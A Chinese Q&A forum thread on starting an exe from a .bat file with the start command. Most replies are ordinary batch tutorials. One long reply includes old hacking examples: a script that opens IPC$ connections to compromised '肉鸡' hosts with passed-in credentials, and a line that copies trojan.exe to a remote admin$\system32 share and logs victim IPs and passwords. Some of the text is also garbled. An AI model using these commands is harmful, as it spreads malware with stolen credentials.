bat运行时打开另外exe文件start命令没用

2021-01-05 07:13:11 字数 5374 阅读 5166

1楼:匿名用户

也许exe文件利用了相对路径,在此句前加一句cd或pushd命令改变到exe文件所在路径 比如:

pushd "c:\***"

start "" "生成.exe"

popd

2楼:永恆蔚藍

start"""目标程序"

运行命令应该这样用,前面两个引号是必须保留的.

如何用bat文件启动一个exe文件?

3楼:次次次蛋黄米亚

1、新建一个txt文本,然后重命名为.bat的文件(比如:testbat.bat)。

2、然后进行编辑,输入“start calc.exe”。

3、另存文本文档为bat 格式,下图为更改为bat格式的文件。

4、右键点击以管理员身份运行。

5、运行后时,弹出对话框,点击是允许更改。

6、下图就是运行出的计算器程序。

4楼:啦啦啦

一、批处理的创建

新建一个txt文本,然后重命名为.bat的文件(比如:testbat.

bat)。然后进行编辑,启动一个exe文件,只要使用start命令就可以了,如图中批处理,就是启动windows自带的计算器程序。

二、批处理的运行

1、在资源管理器中和一般程序一样双击运行

2、同时按windows键+r键,打开cmd命令提示符,输入批处理文件名按回车键即可运行

拓展资料

bat文件使用参数

批处理中可以使用参数,一般从%1到%9这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。

sample1:fomat.bat

@echo off

if "%1"=="a" format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver a.

@pause

@goto fomat

sample2:

当我们要建立一个ipc$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。

@echo off

@*** use \\1%\ipc$ "%2" /u:"%3" 注意哦,这里password是第二个参数。

@if errorlevel 1 echo connection failed

三.如何使用组合命令(***pound ***mand)

⒈&usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

sample:

c:\>dir z: & dir c:\ex4rch

the system cannot find the path specified.

volume in drive c has no label.

volume serial number is 0078-59fb

directory of c:\ex4rch

2002-05-14 23:51 .

2002-05-14 23:51 ..

2002-05-14 23:51 14 sometips.gif

⒉&&usage:第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

sample:

c:\>dir z: && dir c:\ex4rch

the system cannot find the path specified.

c:\>dir c:\ex4rch && dir z:

volume in drive c has no label.

volume serial number is 0078-59fb

directory of c:\ex4rch

2002-05-14 23:55 .

2002-05-14 23:55 ..

2002-05-14 23:55 14 sometips.gif

1 file(s) 14 bytes

2 dir(s) 768,671,744 bytes free

the system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单,如:

dir file://192.168.

0.1/database/backup.mdb && copy file:

//192.168.0.

1/database/backup.mdb e:\backup

如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换if exist了 :)

⒊||usage:第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

sample:

c:\ex4rch>dir sometips.gif || del sometips.gif

volume in drive c has no label.

volume serial number is 0078-59fb

directory of c:\ex4rch

2002-05-14 23:55 14 sometips.gif

1 file(s) 14 bytes

0 dir(s) 768,696,320 bytes free

组合命令使用的例子:

sample:

@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo ip %1 user %2 pass %3 >>victim.txt

5楼:匿名用户

1、先新建一个txt文本。

2、然后进行编辑,启动一个exe文件,只要使用start命令就可以了3、另存文本文档为bat 格式在资源管理器中双击运行4、然后右键点击以管理员身份运行

5、运行后时,弹出对话框,点击是允许更改即可

6楼:吗嗯夫

批处理(bat文件)方式启动exe文件的方法

一、批处理的创建

新建一个txt文本,然后重命名为.bat的文件(比如:testbat.

bat)。然后进行编辑,启动一个exe文件,只要使用start命令就可以了,如图中批处理,就是启动windows自带的计算器程序。

二、批处理的运行

1、在资源管理器中和一般程序一样双击运行

2、同时按windows键+r键,打开cmd命令提示符,输入批处理文件名按回车键即可运行

三、如果需要更复杂的一些操作,参考start命令的完整语法说明:

start ["title"] [/d path] [/i] [/min] [/max] [/separate | /shared]

[/low | /normal | /high | /realtime | /abovenormal | /belownormal]

[/node ] [/affinity ] [/wait] [/b]

[***mand/program] [parameters]

"title" 在窗口标题栏中显示的标题。

path 启动目录。

拓展资料:

bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .

bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.

exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。

管道命令:

| 命令

usage:第一条命令 | 第二条命令 [| 第三条命令...]

将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

sample:

time /t>>d:\ip.log

***stat -n -p tcp|find ":3389">>d:\ip.log

start explorer

看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的ip。

将一条命令或某个程序输出结果的重定向到特定文件中,> 与 >>;的区别在于,>;会清除调原有文件中的内容后写入指定文件,而》;只会追加内容到指定文件中,而不会改动其中的内容。

sample1:

echo hello world>c:\hello.txt (stupid example?)

sample2:

时下dll木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,dll马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的exe和dll文件作一个记录:

运行cmd--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

这样所有的exe和dll文件的名称都被分别记录到exeback.txt和dllback.txt中,

日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入dll木马了.

这时我们用同样的命令将system32下的exe和dll文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:

cmd--fc exeback.txt exeback1.txt>diff.

txt & fc dllback.txt dllback1.txt>diff.

txt.(用fc命令比较前后两次的dll和exe文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的dll和exe文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被dll木马光顾了。

没有是最好,如果有的话也不要直接del掉,先用regsvr32 /u trojan.dll将后门dll文件注销掉,再把它移到**站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

< 、>& 、<&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个句柄的输出写入到另一个句柄的输入中。

<& 从一个句柄读取输入并将其写入到另一个句柄输出中。

这些并不常用,也就不多做介绍。

no.5